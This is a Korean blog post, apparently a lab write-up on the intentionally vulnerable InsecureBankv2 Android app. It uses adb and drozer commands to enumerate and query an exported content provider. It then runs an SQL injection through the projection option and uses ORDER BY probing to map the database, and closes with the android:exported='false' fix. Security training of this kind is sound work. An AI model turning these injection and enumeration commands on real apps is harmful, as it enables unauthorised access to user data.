본문 바로가기
Mobile/🩷 Android

09. Insecurebankv2 실습_취약한 콘텐츠 프로바이더

by snowflower.DY 2024. 4. 26.
취약한 콘텐츠 프로바이더 취약점

  콘텐츠 프로바이더(Content Provider)는 다른 애플리케이션의 데이터베이스나 파일에 접근할 수 있는 인터페이스를 제공한다. 콘텐츠 프로바이더의 존재를 확인하기 위해서  manifest.xml 파일 내 <provider> 요소를 확인하면 된다. 다른 애플리케이션에서 해당 콘텐츠 프로바이더에 접근하기 위하여 URI 주소가 필요하며, URI 주소의 형식은 "Content://"이다.
해당 취약점이 존재할 경우, 데이터베이스 접근 뿐만아니라 수정 및 삭제도 가능하다.

 

취약한 콘텐츠 프로바이더 실습_adb 활용

  1.  jadx 툴을 이용하여 "content://" 검색한다.

 

2. content provider 관련 URI  확인한다.

 

3. adb를 이용하여 관련 내용을 확인한다.

a32:/ $ content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Row: 0 id=1, name=jack
Row: 1 id=2, name=jack
Row: 2 id=3, name=jack
Row: 3 id=4, name=jack
Row: 4 id=5, name=jack
Row: 5 id=6, name=jack

 

취약한 콘텐츠 프로바이더 실습_drozer 활용

  1. app.provider.info 명령어를 이용하여 content provider 정보를 확인한다.

dz> run app.provider.info -a com.android.insecurebankv2
Attempting to run shell module
Package: com.android.insecurebankv2
  Authority: com.android.insecurebankv2.TrackUserContentProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.android.insecurebankv2.TrackUserContentProvider
    Multiprocess Allowed: False
    Grant Uri Permissions: False
    Uri Permission Patterns:
    Path Permissions:

 

2. scanner.provider.finduris 명령어를 이용하여 content provider의 URI 정보를 확인한다.

dz> run scanner.provider.finduris -a com.android.insecurebankv2
Attempting to run shell module
Scanning com.android.insecurebankv2...
Got a response from content Uri:  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
No respone from content URI:      content://com.android.insecurebankv2.TrackUserContentProvider
No respone from content URI:      content://com.google.android.gms.games
No respone from content URI:      content://com.android.insecurebankv2.TrackUserContentProvider/
No respone from content URI:      content://com.google.android.gms.games/
Got a response from content Uri:  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

For sure accessible content URIs: # URI 정보 확인
  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

 

3. app.provider.query 명령어를 이용하여 관련 내용을 확인한다.

dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Attempting to run shell module
| id | name |
| 1  | jack |
| 2  | jack |
| 3  | jack |
| 4  | jack |
| 5  | jack |

 

취약한 콘텐츠 프로바이더 취약점을 이용한 SQL 인젝션 공격

 

  명령어 run.provider.query 관련한 도움말을 확인하여 필요한 옵션을 확인한다.

dz> run app.provider.query -h
options:
  -h, --help
  --projection [columns ...]	# select <임의의 값> from ... 형식
                        the columns to SELECT from the database, as in "SELECT <projection> FROM ..."
  --selection conditions	# Where <임의의 값> 형식 
                        the conditions to apply to the query, as in "WHERE <conditions>"
  --selection-args [arg ...]	
                        any parameters to replace '?' in --selection
  --order by_column     the column to order results by # 컬럼 갯수 확인
  --vertical

 

Case 1) projection 옵션을 통하여 모든 테이블 정보 확인

dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers 
--projection "* from SQLITE_MASTER where type='table';--"
| type  | name             | tbl_name         | rootpage | sql
                  |
| table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)
                  |
| table | names            | names            | 4        | CREATE TABLE names (id INTEGER PRIMARY KEY AUTOINCREMENT,  name TEXT NOT NULL) |
| table | sqlite_sequence  | sqlite_sequence  | 5        | CREATE TABLE sqlite_sequence(name,seq)

 

Case2)  order 옵션을 이용하여 해당 테이블의 컬럼 갯수를 확인

dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
 --order 2
# 컬럼 갯수 2개 True
Attempting to run shell module
| id | name |
| 1  | jack |
| 2  | jack |
| 3  | jack |
| 4  | jack |
| 5  | jack |

 

  아래와 같이 테이블 내 컬럼 갯수 보다 높은 수를 입력할 경우 오류가 발생하는 것을 확인

dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
 --order 3
# 컬럼 갯수 3개 이상 False
Attempting to run shell module
Exception occured: 1st ORDER BY term out of range - should be between 1 and 2 (code 1 SQLITE_ERROR[1]): ,
 while compiling: SELECT * FROM names ORDER BY 3

 

대응방안

  manifest.xml에서 content provider 관련 항목이 android:exported="true" 일 경우 취약한 콘텐츠 프로바이더 취약점이 발생한다.

<provider android:name=".TrackUserContentProvider" 
	android:authorities="com.android.insecurebankv2.
    TrackUserContentProvider" android:exported="true"> 
</provider>

 

  android:exported="false" 로 수정하면 된다.

<provider android:name=".TrackUserContentProvider" 
	android:authorities="com.android.insecurebankv2.
    TrackUserContentProvider" android:exported="false"> 
</provider>